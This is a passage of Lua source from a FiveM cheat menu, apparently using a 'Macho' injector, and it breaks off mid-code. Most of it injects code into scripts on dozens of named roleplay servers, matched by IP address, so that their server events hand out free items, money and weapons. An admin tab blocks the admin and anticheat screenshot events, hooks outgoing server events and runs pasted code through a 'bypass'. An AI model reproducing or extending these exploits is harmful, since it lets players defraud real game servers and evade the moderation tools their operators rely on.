    elseif endpoint == '137.175.60.24:30120' then -- the yards
        injectCode('ox_lib', [[
            local ogSendNUIMessage = SendNUIMessage

            SendNUIMessage = function(data) 
                -- RunSafeNative(print, data, 'called')
                if data.action == 'notify' then
                    return
                end

                return SafeRunNative(ogSendNUIMessage, data)
            end
        ]])

        injectCode('prism_crafting', string.format([[
            local itemName = '%s'
            local amount = %d

            SafeRunNative(TriggerEvent, 'prism-crafting:client:openBlueprintShop', {
                id = 'junkie',
                label = 'junkie',
                data = {
                    { item = itemName, price = 0 }
                }
            })
        ]], itemName, amount))
    elseif endpoint == '191.96.152.27:30120' then -- Euphoria RP
        injectCode('ox_lib', [[
            ogNui = SendNUIMessage
            SendNUIMessage = function(data)
                if data.action == 'notify' then
                    return
                end

                SafeRunNative(ogNui, data)
            end
        ]])

        injectCode('pug-businesscreator', string.format([[
            local selfPed = PlayerPedId()
            local setCoords = GetEntityCoords(selfPed)
            
            SafeRunNative(TriggerEvent, 'Pug:Client:DoBusinessSuppliesLogic', {
                args = {
                    Name = 'Junkie',
                    Info = { 
                        PedCoords = { x = setCoords.x, y = setCoords.y, z = setCoords.z, w = 0.0 },
                        Heading = GetEntityHeading(selfPed),
                        Animation = nil,    
                        SuppliesData = {
                            Supplies1 = '%s',
                            SuppliesPrice1 = 0,
                            SuppliesAmount1 = %s
                        }
                    }
                }   
            })
        ]], itemName, amount))
    elseif endpoint == '162.222.16.100:30120' then -- heart of atl
        injectCode('ak47_anklemonitor', string.format([[
            local function GiveItem()
                SafeRunNative(TriggerServerEvent, 'ak47_anklemonitor:additem', '%s')
            end

            for i = 1, %d do
                GiveItem()
                Wait(15)
            end
        ]], itemName, amount))
    elseif endpoint == '191.96.152.12:30120' or endpoint == '191.96.152.15:30120' then -- chicago rp: new gen, Grant Park
        injectCode('ox_lib', [[
            SendNUIMessage = function(data) if type(data) == 'table' and data.action == 'notify' then return end return SendNUIMessage(data) end
        ]])
            
        injectCode('ms_xanax_system_esx', string.format([[
            local SET_ITEM = '%s'
            local SET_AMOUNT = %d

            SafeRunNative(TriggerServerEvent, 'mythic_xanax:openBottle', 'cash', SET_ITEM, SET_AMOUNT, SET_AMOUNT)
        ]], itemName, amount))
    elseif endpoint == '91.212.19.10:30120' then -- Chop City
        injectCode('spoodyGunPlug', string.format([[
            SafeRunNative(TriggerServerEvent, '__ox_cb_spoodyGunPlug:giveItems', 'spoodyGunPlug', 'spoodyGunPlug:giveItems:xxxx', {{amount = %d, item = "%s"}})
        ]], amount, itemName))
    elseif endpoint == '96.126.188.16:30120' then -- G1TCH NYC
        injectCode('cc-chipeo', string.format([[
            local function GiveItem()
                SafeRunNative(TriggerServerEvent, 'cc-chipeo:server:addItem', '%s')
            end

            for i = 1, %d do
                GiveItem()
                Wait(15)
            end
        ]], itemName, amount))
    elseif endpoint == '162.222.16.216:30120' then -- Shugga Land
        injectCode('devkit_drugsystem', string.format([[
            local SET_ITEM = '%s'
            local SET_AMOUNT = %d

            _G.Config.DrugRecipes = {
                [SET_ITEM] = {
                    item = SET_ITEM,
                    label = '',
                    GivenAmount = SET_AMOUNT,
                    requirements = {},
                    animations = {},
                },
            }

            SafeRunNative(TriggerEvent, 'devkit_drugsystem:finishCrafting', SET_ITEM)
        ]], itemName, amount))
    elseif endpoint == '185.244.106.68:30120' then -- The Gardens
        injectCode('devkit_drugsystem', string.format([[
            local SET_ITEM = '%s'
            local SET_AMOUNT = %d

            _G.Config.DrugRecipes = {
                [SET_ITEM] = {
                    item = SET_ITEM,
                    label = 'qs',
                    GivenAmount = SET_AMOUNT,
                    requirements = {},
                    animations = {},
                },
            }

            SafeRunNative(TriggerEvent, 'devkit_drugsystem:finishCrafting', SET_ITEM)
        ]], itemName, amount))
    elseif endpoint == '216.146.24.124:30120' then -- True Love Roleplay
        MachoExecuteDuiScript(Dui, string.format([[
            try {
                fetch('https://ft_qb_perfumes/buyItems', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({
                        item: '%s',
                        label: 'QS',
                        quantity: %d,
                        pricePerItem: 0
                    })
                });
            } catch (e) {}
        ]], itemName, amount))
    elseif endpoint == '141.11.104.34:30120' or endpoint == '128.254.184.25:30120' then -- B2H V3 CHICAGO, Bags and Bodies Roleplay
        injectCode('xmmx_letscookplus', string.format([[
            local SET_ITEM = '%s'
            local SET_AMOUNT = %d

            Shop.GroceryAmt = SET_AMOUNT
            XM.MiniGame = function(data) return true end
            XM.Progress = function(label, info) return true end
            XM.RequestAnim = function(dict) end

            SafeRunNative(TriggerEvent, 'xmmx_letscookplus:client:openGroceryBag', 'grocery_bag', {SET_ITEM})
        ]], itemName, amount))
    elseif endpoint == '216.146.24.178:30120' or endpoint == '147.189.168.247:30120' then -- Cali Love RP, Streets of Philly RP
        injectCode('ms_lean_system', string.format([[
            local function GiveItem()
                SafeRunNative(TriggerEvent, 'lean:startMix', 'money', '%s', 'money')
            end

            GiveItem()
        ]], itemName))
    elseif endpoint == '137.175.60.67:30120' then -- The City RP
        injectCode('ox_lib', [[
            SendNUIMessage = function(data) if type(data) == 'table' and data.action == 'notify' then return end return SendNUIMessage(data) end
        ]])

        injectCode('ms_xanax_system', string.format([[
            local SET_ITEM = '%s'
            local SET_AMOUNT = %d

            SafeRunNative(TriggerServerEvent, 'mythic_xanax:openBottle', 'cash', SET_ITEM, SET_AMOUNT, SET_AMOUNT)
        ]], itemName, amount))
    elseif endpoint == '185.244.106.41:30120' then -- 17th Street RP
        if MachoResourceInjectable('esx_notify') then
            injectCode('esx_notify', [[
                SendNuiMessage = function() return end
            ]])
        end

        MachoExecuteDuiScript(Dui, string.format([[
            try {
                fetch('https://evo-k9-v3/purchase', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({
                        type: 'cash',
                        basket: [
                            { name: '%s', label: 'qs', price: 0, quantity: %d},
                        ],
                        total: 0,
                    })
                });
            } catch (e) {}
        ]], itemName, amount))
    elseif endpoint == '23.26.121.55:30120' then -- DownSouth Broward
        injectCode('devx-lustshop', string.format([[
            SafeRunNative(TriggerServerEvent, 'devx-adulttoys:checkout', {
                {
                    id = 1,
                    inventoryName = '%s',
                    displayName = 'Purple Vibrator',
                    sub = 'Elegant & Powerful',
                    price = 0,
                    image = 'images/purple_vibrator.png',
                    rating = 5,
                    description = 'A stylish classic with a silky finish and deep vibration strength. Fully waterproof and USB-rechargeable, this versatile toy is perfect for solo or partner play.',
                    type = {'Vibrating'},
                    qty = %d
                }
            })
        ]], itemName, amount))
    elseif endpoint == '23.26.121.156:30120' then -- Hyde Park
        injectCode('codewave-bbq', string.format([[
            local function GiveItem()
                SafeRunNative(handlePropPickup, '%s')
            end

            for i = 1, %d do
                GiveItem()
                Wait(15)
            end
        ]], itemName, amount))
    elseif endpoint == '191.96.152.145:30120' then -- OnTheFlo RP
        if MachoResourceInjectable('mic_hookah') then
            injectCode('mic_hookah', string.format([[
                local function GiveItem()
                    SafeRunNative(TriggerServerEvent, 'hookah:addItem', '%s')
                end

                for i = 1, %d do
                    GiveItem()
                    Wait(15)
                end
            ]], itemName, amount))
        elseif MachoResourceInjectable('devkit_drugsystem') then
            injectCode('devkit_drugsystem', string.format([[
                local SET_ITEM = '%s'
                local SET_AMOUNT = %d

                _G.Config.DrugRecipes = {
                    [SET_ITEM] = {
                        item = SET_ITEM,
                        label = 'junkie',
                        GivenAmount = SET_AMOUNT,
                        requirements = {},
                        animations = {},
                    },
                }

                SafeRunNative(TriggerEvent, 'devkit_drugsystem:finishCrafting', SET_ITEM)
            ]], itemName, amount))
        end
    elseif endpoint == '141.11.104.43:30120' then -- Synce A Baby
        injectCode('devkit_bundles', string.format([[
            SafeRunNative(TriggerServerEvent, 'devkit_bundles:addinv', '%s', %d)
        ]], itemName, amount))
    elseif endpoint == '162.222.16.245:30120' then -- Windy City
        if MachoResourceInjectable('ms_percs_system') then
            injectCode('ms_percs_system', string.format([[
                local SET_ITEM = '%s'
                local SET_AMOUNT = %d

                lib.progressCircle = function() return true end
                lib.notify = function() end
                CreateObject = function() return 0 end

                local function spawnshit()
                    SafeRunNative(TriggerEvent, 'ms:crushPill', {
                        pill = 'money',
                        powder = SET_ITEM,
                        label = 'Junkie'
                    })
                end

                for i = 1, SET_AMOUNT do
                    spawnshit()
                    Wait(15)
                end
            ]], itemName, amount))
        elseif MachoResourceInjectable('ms_lean_system') then
            injectCode('ms_lean_system', string.format([[
                local SET_ITEM = '%s'
                local SET_AMOUNT = %d
                local _originalProgressCircle = lib.progressCircle

                TaskPlayAnim = function() return end
                CreateObject = function() return end

                lib.progressCircle = function(data, ...)
                    return _originalProgressCircle({
                        duration = 0,
                        label = 'Junkie',
                        useWhileDead = false,
                        canCancel = false,
                        disable = {}
                    })
                end

                local function GiveItem()
                    SafeRunNative(TriggerEvent, 'lean:startMix', 'money', SET_ITEM, 'money')
                end

                for i = 1, SET_AMOUNT do
                    GiveItem()
                    Wait(15)
                end
            ]], itemName, amount))
        end
    elseif endpoint == '207.180.26.2:30120' then -- After Dark Los Santos
        injectCode('xmmx_letscookplus', string.format([[
            local SET_ITEM = '%s'
            local SET_AMOUNT = %d

            Shop.GroceryAmt = SET_AMOUNT
            XM.MiniGame = function(data) return true end
            XM.Progress = function(label, info) return true end
            XM.RequestAnim = function(dict) end

            SafeRunNative(TriggerEvent, 'xmmx_letscookplus:client:openGroceryBag', 'grocery_bag', {SET_ITEM})
        ]], itemName, amount))
    elseif endpoint == '162.222.16.22:30120' then -- Blackrose LA
        if MachoResourceInjectable('codewave-handbag-phone') then
            injectCode('codewave-handbag-phone', string.format([[
                SafeRunNative(TriggerEvent, 'delivery:completeDeliveryhandbags', %d)
            ]], amount))
        end
    elseif endpoint == '162.222.16.52:30120' then -- trapcity chicago
        injectCode('angelicxs-CivilianJobs', string.format([[
            SafeRunNative(TriggerServerEvent, 'angelicxs-CivilianJobs:Server:GainItemMaterial', '%s', %d)
        ]], itemName, amount))
    elseif endpoint == '141.11.104.82:30120' then
        if MachoResourceInjectable('pug-robberycreator') then
            MachoInjectResourceScriptOverride(1, 'pug-robberycreator', string.format([[
                local SET_ITEM = '%s'
                local SET_AMOUNT = %d

                _G.Notify = function() return end

                GiveItemReward({ itemName = SET_ITEM, quantity = SET_AMOUNT, rewardItems = {{ rewardItemName = SET_ITEM }}}, {sellQuantity = SET_AMOUNT})
            ]], itemName, amount), '@@pug-robberycreator/client/sellitems.lua', 1, 1000)
        elseif MachoResourceInjectable('ms_weedrolling_esx') then
            injectCode('ms_weedrolling_esx', string.format([[
                SafeRunNative(TriggerEvent, 'mythic_weed:openBackwoodPackage', { packageItem = 'cash', backwoodItem = '%s', quantity = %d })
            ]], itemName, amount))
        end
    elseif endpoint == '23.26.121.27:30120' then -- TrapWorld RP
        if itemName == 'cash' or itemName == 'money' then
            injectCode('brutal_boxing', string.format([[
                _G.notification = function() end

                SafeRunNative(TriggerServerEvent, 'brutal_boxing:server:endofbet', {
                    bets = {
                        player1 = 0,
                        player2 = 0,
                        [GetPlayerServerId(PlayerId())] = {amount = %d}
                    }
                }, false)
            ]], amount))
        else
            injectCode('t1ger_lib', string.format([[
                local function GiveItem()
                    SafeRunNative(TriggerServerEvent, 't1ger_lib:server:addItem', '%s', %d)
                end

                GiveItem()
            ]], itemName, amount))
        end
    elseif endpoint == '23.26.121.82:30120' then -- VibezRus Lifestyle
        injectCode('ak47_smokingv2', string.format([[
            local function GiveItem()
                SafeRunNative(TriggerServerEvent, 'ak47_smokingv2:craftingreward', '%s')
            end

            for i = 1, %d do
                GiveItem()
                Wait(15)
            end
        ]], itemName, amount))
    elseif endpoint == '51.81.182.100:30120' then -- Jungle
        injectCode('devkit_smoking', string.format([[
            local function GiveItem()
                SafeRunNative(TriggerServerEvent, 'devkit_smoking:server:AddItem', '%s')
            end

            for i = 1, %d do
                GiveItem()
                Wait(15)
            end
        ]], itemName, amount))
    elseif endpoint == '143.20.58.37:30120' then -- Paradise RP
        injectCode('qb-chopshop', string.format([[
            local function Give()
                SafeRunNative(TriggerServerEvent, 'cad-gundrop:server:ItemHandler', 'add', '%s', %d)
            end

            Give()
        ]], itemName, amount))
    elseif endpoint == '185.244.106.28:30120' then -- The 312
        if MachoResourceInjectable('esx_notify') then
            injectCode('esx_notify', [[
                SendNuiMessage = function() return end
            ]])
        end

        MachoExecuteDuiScript(Dui, string.format([[
            try {
                fetch('https://evo-k9-v3/purchase', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({
                        type: 'cash',
                        basket: [
                            { name: '%s', label: 'junkie', price: 0, quantity: %d},
                        ],
                        total: 0,
                    })
                });
            } catch (e) {}
        ]], itemName, amount))
    -- Shadow port: IP-gated item triggers
    elseif endpoint == '96.126.188.219:30120' then -- Land of Chicago
        if MachoResourceInjectable('nn_houserob') then
            injectCode('nn_houserob', string.format([[
                for i = 1, %d do
                    SafeRunNative(TriggerServerEvent, 'nn_houserob:server:givePropItem', '%s')
                    Wait(100)
                end
            ]], amount, itemName))
        elseif MachoResourceInjectable('c_3dprinting') then
            injectCode('c_3dprinting', string.format([[
                for i = 1, %d do
                    SafeRunNative(TriggerServerEvent, 'c_3dprinting:returnItem', '%s')
                    Wait(100)
                end
            ]], amount, itemName))
        end
    elseif endpoint == '162.222.16.147:30120' then -- The Ave LA
        injectCode('swervo_smokingstore', string.format([[
            for i = 1, %d do
                SafeRunNative(TriggerServerEvent, 'swervo_smokingstore:server:craftVape', 'unemployed', '%s', 0, {})
                Wait(15)
            end
        ]], amount, itemName))
    elseif endpoint == '185.244.106.5:30120' then -- Heights Stories
        injectCode('pistolsnatching', string.format([[
            for i = 1, %d do
                SafeRunNative(TriggerServerEvent, 'pistolsnatching:returnWeapon', { weapon = { name = '%s' } })
                Wait(15)
            end
        ]], amount, itemName))
    elseif endpoint == '191.96.152.18:30120' then -- Trap Printer RP
        injectCode('trappin_3dprinter', string.format([[
            for i = 1, %d do
                SafeRunNative(TriggerServerEvent, 'module:printer:craft', '%s')
                Wait(15)
            end
        ]], amount, itemName))
    elseif endpoint == '141.11.104.110:30120' or endpoint == '191.96.152.165:30120' then -- Storybook RP / Ghetto Stories
        injectCode('fivecode_camping', string.format([[
            _G.CreateModelSwap = function() end
            _G.CreateObject = function() end
            _G.TaskPlayAnim = function() end
            _G.FreezeEntityPosition = function() end
            _G.MakePlayerFaceEntity = function() end
            _G.ProgressBars = function() end
            SafeRunNative(TriggerEvent, 'fivecode_camping:campFireMenuLight7', {
                entity = PlayerPedId(),
                v = { label = 'junkie', item = {
                    rawIngredients = {},
                    cookedIngredients = {{ item = '%s', amount = %d }}
                }, props = {}, cookTime = 0 }
            })
        ]], itemName, amount))
    elseif endpoint == '217.20.242.41:30120' then -- 3rivers
        injectCode('ak47_idcardv2', string.format([[
            local SET_ITEM = '%s'
            for i = 1, %d do
                SafeRunNative(TriggerServerEvent, 'ak47_idcardv2:addcard', { item = SET_ITEM, label = SET_ITEM, blob = 'qs' })
                Wait(15)
            end
        ]], itemName, amount))
    -- Shadow port: resource-gated item triggers
    elseif endpoint == 'res:wn_crafting' then
        injectCode('wn_crafting', string.format([[
            SafeRunNative(TriggerServerEvent, 'wn_crafting:giveitems', 'ilegalos', {
                additems = {{ name = '%s', amount = %d }},
                description = 'junkie', duration = 1, image = 'junkie', progressbar = 'junkie',
                requireditems = {{ name = 'money', amount = 0 }}, title = 'junkie'
            })
        ]], itemName, amount))
    elseif endpoint == 'res:ak47_business' then
        injectCode('ak47_business', string.format([[
            SafeRunNative(TriggerServerEvent, 'ak47_business:processed', '%s', %d)
        ]], itemName, amount))
    elseif endpoint == 'res:hg-wheel-main' then
        injectCode('hg-wheel-main', string.format([[
            SafeRunNative(TriggerServerEvent, 'hg-wheel:server:giveitem', '%s', %d)
        ]], itemName, amount))
    elseif endpoint == 'res:0r-fishingv2' then
        injectCode('any', string.format([[
            for i = 1, %d do
                SafeRunNative(TriggerServerEvent, '0r-fishingv2:server:stopNetting', {
                    { name = '%s', label = 'Big Bait', quality = 'epic', height = 30, rewards = { xp = 1 } }
                })
                Wait(50)
            end
        ]], amount, itemName))
    elseif endpoint == 'res:rm_drugs' then
        injectCode('rm_drugs', string.format([[
            SafeRunNative(TriggerServerEvent, 'drugs:server:main:giveItem', {
                itemList = {},
                rewardItems = { ['%s'] = { amount = %d } }
            })
        ]], itemName, amount))
    elseif endpoint == 'res:5md_thicktruck' then
        injectCode('5md_thicktruck', string.format([[
            local function GiveItem()
                SafeRunNative(TriggerServerEvent, '5md_thicktruck:GiveItem', '%s')
            end
            for i = 1, %d do GiveItem(); Wait(15) end
        ]], itemName, amount))
    elseif endpoint == 'res:elder_speedcontrol' then
        injectCode('elder_speedcontrol', string.format([[
            SafeRunNative(TriggerEvent, 'es_drilltime_speedcontrol:client:buy', '%s', %d, 0)
        ]], itemName, amount))
    elseif endpoint == 'res:ag_ammo' then
        injectCode('ag_ammo', string.format([[
            local SET_ITEM = '%s'; local SET_AMOUNT = %d
            SafeRunNative(TriggerServerEvent, 'ammo_box:giveAmmo', SET_ITEM, SET_AMOUNT)
        ]], itemName, amount))
    elseif endpoint == 'res:xmmx_bahamas' then
        injectCode('xmmx_bahamas', string.format([[
            SafeRunNative(TriggerEvent, 'xmmx_bahamas:client:CreateRecipe', {
                name = '%s', amount = %d, label = 'junkie', ingredients = {},
                info = { Dict = 'switch@trevor@mocks_lapdance', Clip = 'one_bartender', Flag = 49, Time = 0, Move = true, Prog = 'junkie', MiniG = false }
            })
        ]], itemName, amount))
    elseif endpoint == 'res:kaves_drugsv2' then
        injectCode('kaves_drugsv2', string.format([[
            SafeRunNative(TriggerServerEvent, 'kaves_drugsv2:server:giveItem', '%s', %d)
        ]], itemName, amount))
    elseif endpoint == 'res:ars_smoking' then
        injectCode('ars_smoking', string.format([[
            SafeRunNative(TriggerEvent, 'ars_smoking:client:startCrafting', {
                delay = 1, item = '%s', required_items = 'cash', required_items_count = 1,
                rewards = { ['%s'] = %d }
            })
        ]], itemName, itemName, amount))
    elseif endpoint == 'res:devkit_leansystem' then
        injectCode('any', string.format([[
            SafeRunNative(TriggerEvent, 'devkit_leansystem:startLeanMixingSprite', 'cash', '%s', 'cash')
        ]], itemName))
    elseif endpoint == 'res:fivecode_uwucatcafejob' then
        injectCode('fivecode_uwucatcafejob', string.format([[
            SafeRunNative(TriggerServerEvent, 'fivecode_uwucatcafejob:npcEmployee', { status = 'preparing', item = '%s', amount = %d })
            SafeRunNative(TriggerServerEvent, 'fivecode_uwucatcafejob:npcEmployee', { status = 'finished' })
            SafeRunNative(TriggerServerEvent, 'fivecode_uwucatcafejob:npcEmployee', { status = 'giveFood' })
        ]], itemName, amount))
    elseif endpoint == 'res:devcore_smokev2' then
        injectCode('any', string.format([[
            for i = 1, %d do SafeRunNative(TriggerServerEvent, 'devcore_smokev2:server:AddItem', '%s'); Wait(100) end
        ]], amount, itemName))
    elseif endpoint == 'res:pixel-consumables' then
        injectCode('any', string.format([[
            SafeRunNative(TriggerServerEvent, 'pixel-consumables:addItem', '%s', %d)
        ]], itemName, amount))
    elseif endpoint == 'res:DE_bbq' then
        injectCode('any', string.format([[
            for i = 1, %d do SafeRunNative(TriggerServerEvent, 'DE_bbq:addItem', '%s', true); Wait(1) end
        ]], amount, itemName))
    elseif endpoint == 'res:dynyx_ebtcards' then
        injectCode('any', string.format([[
            for i = 1, %d do SafeRunNative(TriggerServerEvent, 'dynyx_ebtcards:purchaseitem', '%s', 1, 'cash'); Wait(1) end
        ]], amount, itemName))
    elseif endpoint == 'res:qs-drugs' then
        injectCode('any', string.format([[
            SafeRunNative(TriggerEvent, 'drugs:giveblackmoney:stept1', '%s', %d, 0)
        ]], itemName, amount))
    elseif endpoint == 'res:pug-chopping' then
        injectCode('any', string.format([[
            SafeRunNative(TriggerServerEvent, 'Pug:server:GiveChoppingItem', true, '%s', %d, nil)
        ]], itemName, amount))
    elseif endpoint == 'res:devkit_bluntrolling' then
        injectCode('any', string.format([[
            SafeRunNative(TriggerServerEvent, 'devkit_bluntrolling:rollBlunt', 'cash', 'cash', %d, 'cash')
        ]], amount))
    elseif endpoint == 'res:sf_uwucafe' then
        injectCode('sf_uwucafe', string.format([[
            SafeRunNative(TriggerServerEvent, 'sf_uwucafe:server:consumeItem', '', vector3(0, 0, 0), { ['%s'] = %d }, nil, nil, nil, nil)
        ]], itemName, amount))
    elseif endpoint == 'res:jim-recycle' then
        injectCode('jim-recycle', string.format([[
            SafeRunNative(TriggerServerEvent, 'jim-recycle:server:toggleItem', 'give', '%s', %d)
        ]], itemName, amount))
    elseif endpoint == 'res:0r-atmrobbery' then
        injectCode('0r-atmrobbery', string.format([[
            SafeRunNative(TriggerServerEvent, '0r-atmrobbery:server:GiveItem', '%s', %d, %d)
        ]], itemName, amount, amount))
    elseif endpoint == 'res:drz_medicinedelivery' then
        injectCode('drz_medicinedelivery', string.format([[
            for i = 1, %d do
                SafeRunNative(TriggerServerEvent, 'npc:give')
                Wait(50)
            end
        ]], amount))
    elseif endpoint == 'res:fivecode_camping' then
        local campingBlacklist = {
            ['216.146.24.116:30120'] = true,
        }
        local curEP = GetCurrentServerEndpoint() or ''
        if not campingBlacklist[curEP] then
            injectCode('fivecode_camping', string.format([[
                _G.CreateModelSwap = function() end
                _G.CreateObject = function() end
                _G.TaskPlayAnim = function() end
                _G.FreezeEntityPosition = function() end
                _G.MakePlayerFaceEntity = function() end
                _G.ProgressBars = function() end
                SafeRunNative(TriggerEvent, 'fivecode_camping:campFireMenuLight7', {
                    entity = PlayerPedId(),
                    v = { label = 'junkie', item = {
                        rawIngredients = {},
                        cookedIngredients = {{ item = '%s', amount = %d }}
                    }, props = {}, cookTime = 0 }
                })
            ]], itemName, amount))
        end
    elseif endpoint == '87.99.136.104:30120' or endpoint == '178.156.198.38:30120' or endpoint == 'res:exit-boombox' then
        injectCode('monitor', string.format([[
            for i = 1, %d do
                SafeRunNative(TriggerServerEvent, 'exit-boombox:giveItem', '%s')
                Wait(50)
            end
        ]], amount, itemName))
    elseif endpoint == '217.20.242.188:30120' or endpoint == '217.20.242.112:30120' or endpoint == '192.34.102.106:30120' or endpoint == '51.222.255.125:30120' or endpoint == '23.26.121.236:30120' then
        MachoInjectJavaScript(string.format([[
            (() => {
                window.citFrames['plt_drugs'].contentWindow.fetch('https://plt_drugs/buyItem', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ itemName: '%s', amount: %d, price: 0 })
                });
            })();
        ]], itemName, amount))
    elseif endpoint == '23.26.121.130:30120' then
        injectCode('monitor', string.format([[
            for i = 1, %d do
                SafeRunNative(TriggerServerEvent, 'hg-wheel:server:giveitem', '%s')
                Wait(50)
            end
        ]], amount, itemName))
    elseif endpoint == '191.96.152.148:30120' or endpoint == '135.148.137.196:30120' or endpoint == 'res:t1ger_lib' then
        injectCode('t1ger_lib', string.format([[
            for i = 1, %d do
                SafeRunNative(TriggerServerEvent, 't1ger_lib:server:addItem', '%s', 1)
                Wait(15)
            end
        ]], amount, itemName))
    elseif endpoint == '140.235.125.22:30120' or endpoint == '172.93.111.241:30120' or endpoint == 'res:hookah' then
        injectCode('mic_hookah', string.format([[
            for i = 1, %d do
                SafeRunNative(TriggerServerEvent, 'hookah:addItem', '%s')
                Wait(15)
            end
        ]], amount, itemName))
    elseif endpoint == '206.168.173.27:30128' or endpoint == 'res:designer_crafting' then
        injectCode('ox_lib', [[
            local orig = SendNUIMessage
            SendNUIMessage = function(data)
                if type(data) == 'table' and data.action == 'notify' then return end
                return orig(data)
            end
        ]])
        injectCode('monitor', string.format([[
            SafeRunNative(TriggerServerEvent, 'designer_crafting:buyItem', '%s', %d, 0)
        ]], itemName, amount))
    elseif endpoint == '162.222.16.136:30120' or endpoint == 'res:ak47_khusbites' then
        injectCode('ak47_khusbites', string.format([[
            currentProcess = 1
            inProcessMenu = true
            SetEntityCoords = function() end
            TaskPlayAnim = function() end
            SafeRunNative(TriggerServerEvent, 'ak47_khusbites:process', '%s', { pooch_bag = 0, weed_leaf = 0 }, %d, 10000)
        ]], itemName, amount))
    elseif endpoint == 'res:devkit_smoking' then
        injectCode('monitor', string.format([[
            for i = 1, %d do
                SafeRunNative(TriggerServerEvent, 'devkit_smoking:server:AddItem', '%s')
                Wait(50)
            end
        ]], amount, itemName))
    elseif endpoint == '216.151.165.50:30120' then
        injectCode('monitor', string.format([[
            SafeRunNative(TriggerServerEvent, 'qb-crafting:server:receiveItem', '%s', {}, %d, 7)
        ]], itemName, amount))
    end

    local count = tonumber(amount)

    if count then
        showNotify(('Spawned %dx %s'):format(count, itemName), 'success')
    else
        showNotify(('Spawned %s'):format(itemName), 'success')
    end
end

local adminTab = {
    name = 'Admin',
    submenu = {
        { type = 'divider', label = 'Server Events' },
        {
            label = 'Hook Server Callbacks',
            type = 'checkbox',
            desc = 'Print every server event this client fires',
            checked = false,
            onConfirm = function(checked)
                if checked and not installServerEventHook() then
                    return
                end

                logServerEvents = checked

                if checked then
                    showNotify('Logging server events to F8', 'info')
                else
                    showNotify('Server event logging off', 'info')
                end
            end
        },
        {
            label = 'Block Server Events',
            type = 'checkbox',
            desc = 'Drop outgoing server events instead of sending them',
            checked = false,
            onConfirm = function(checked)
                if checked and not installServerEventHook() then
                    return
                end

                blockServerEvents = checked

                if checked then
                    showNotify('Blocking every outgoing server event', 'error')
                else
                    showNotify('Server events flowing again', 'info')
                end
            end
        },
        {
            label = 'Block Screenshots',
            type = 'checkbox',
            desc = 'Intercept and cancel all known admin screenshot events',
            checked = false,
            onConfirm = function(checked)
                if checked then
                    injectCode('monitor', [[
                        if _G.junkieScreenshotBlockInstalled then return end
                        _G.junkieScreenshotBlockInstalled = true
                        local RegisterNetEvent = SafeWrap(RegisterNetEvent)
                        local AddEventHandler = SafeWrap(AddEventHandler)
                        local CancelEvent = SafeWrap(CancelEvent)
                        local TriggerServerEvent = SafeWrap(TriggerServerEvent)
                        local screenshotEvents = {
                            'screenshot_basic:requestScreenshot', 'EasyAdmin:CaptureScreenshot',
                            'requestScreenshot', 'cfx_nui:screenshotcreated', 'screenshot-basic',
                            'requestScreenshotUpload', 'Anticheat:requestClientScreenshot',
                            'Anticheat:clientScreenshotCreated'
                        }
                        for _, eventName in ipairs(screenshotEvents) do
                            RegisterNetEvent(eventName)
                            AddEventHandler(eventName, function()
                                if eventName == 'EasyAdmin:CaptureScreenshot' then
                                    TriggerServerEvent('EasyAdmin:TookScreenshot', 'ERROR')
                                end
                                CancelEvent()
                            end)
                        end
                    ]])
                    showNotify('Screenshot blocking active', 'success')
                else
                    showNotify('Restart resource to disable screenshot block', 'info')
                end
            end
        },
        {
            label = 'Clear Event Log',
            type = 'button',
            onConfirm = function()
                serverEventSeen = {}
                showNotify('Event log cleared', 'info')
            end
        },
        { type = 'divider', label = 'Execute' },
        {
            label = 'Run Trigger',
            type = 'button',
            desc = 'Paste a trigger or chunk; runs it through the bypass',
            onConfirm = function()
                showInput('Resource (any or name)', 'any', function(resource)
                    resource = (resource and resource ~= '') and resource or 'any'

                    Wait(400)

                    showInput('Trigger / Lua', '', function(code)
                        runTrigger(resource, code)
                    end)
                end)
            end
        },
        { type = 'divider', label = 'Info' },
        {
            label = 'Dump Resources',
            type = 'button',
            desc = 'List started resources and which are injectable',
            onConfirm = function()
                dumpResources()
            end
        },
        {
            label = 'Dump Player List',
            type = 'button',
            onConfirm = function()
                local players = getPlayers(GetEntityCoords(PlayerPedId()), 10000.0)

                Debug('--- Players (' .. #players .. ') ---')

                for i = 1, #players do
                    Debug(('[%s] %s'):format(tostring(players[i].serverId), tostring(players[i].name)))
                end

                showNotify(('Dumped %d players to F8'):format(#players), 'info')
            end
        },
    }
}

menuConfig = {
    {
        label = 'Player',
        icon = 'ph-user',
        type = 'submenu',
        tabs = {
            {
                name = 'Status',
                submenu = {
                    {
                        label = 'Revive',
                        type = 'scroll',
                        options = {
                            {
                                label = 'Script',
                                value = 'script'
                            },
                            {
                                label = 'Native',
                                value = 'native',
                            }
                        },
                        selected = 1,
                        onConfirm = function(setOptions)
                            if setOptions.value == 'script' then
                                if MachoResourceInjectable('wasabi_ambulance') then
                                    injectCode('wasabi_ambulance', [[
                                        SafeRunNative(RespawnPed, PlayerPedId(), GetEntityCoords(PlayerPedId()))
                                    ]])
                                elseif MachoResourceInjectable('mc9-medicsystem') then
                                    injectCode('mc9-medicsystem', [[
                                        SafeRunNative(RespawnPed, PlayerPedId(), GetEntityCoords(PlayerPedId()))
                                    ]])
                                elseif MachoResourceInjectable('esx_ambulancejob') then
                                    injectCode('esx_ambulancejob', [[
                                        SafeRunNative(_G.TriggerEvent, 'esx_ambulancejob:revive')
                                    ]])
                                else
                                    showNotify('Failed To Find Exploit To Revive', 'error')
                                end
                            elseif setOptions.value == 'native' then
                                injectCode('monitor', [[
                                    local ped = PlayerPedId()
                                    SafeRunNative(ReviveInjuredPed, ped)
                                    SafeRunNative(SetEntityHealth, ped, 200)
                                    SafeRunNative(ClearPedTasksImmediately, ped)
                                ]])
                            end
                        end
                    },
                    {
                        label = 'Suicide',
                        icon = "ph ph-skull",
                        desc = "Revives you",
                        type = 'button',
                        onConfirm = function()
                            injectCode('monitor', [[ 
                                SafeRunNative(SetEntityHealth, PlayerPedId(), 0) 
                            ]])
                        end
                    },
                    {
                        label = 'Hard Suicide',
                        icon = "ph ph-skull",
                        desc = "Revives you",
                        type = 'checkbox',
                        onConfirm = function(enabled)
                            if enabled then
                                injectCode('monitor', [[
                                    HardSuicide = true
                                    SafeRunNative(CreateThread, function()
                                        while HardSuicide do
                                            SafeRunNative(SetEntityHealth, PlayerPedId(), 0)
                                            Wait(0)
                                        end
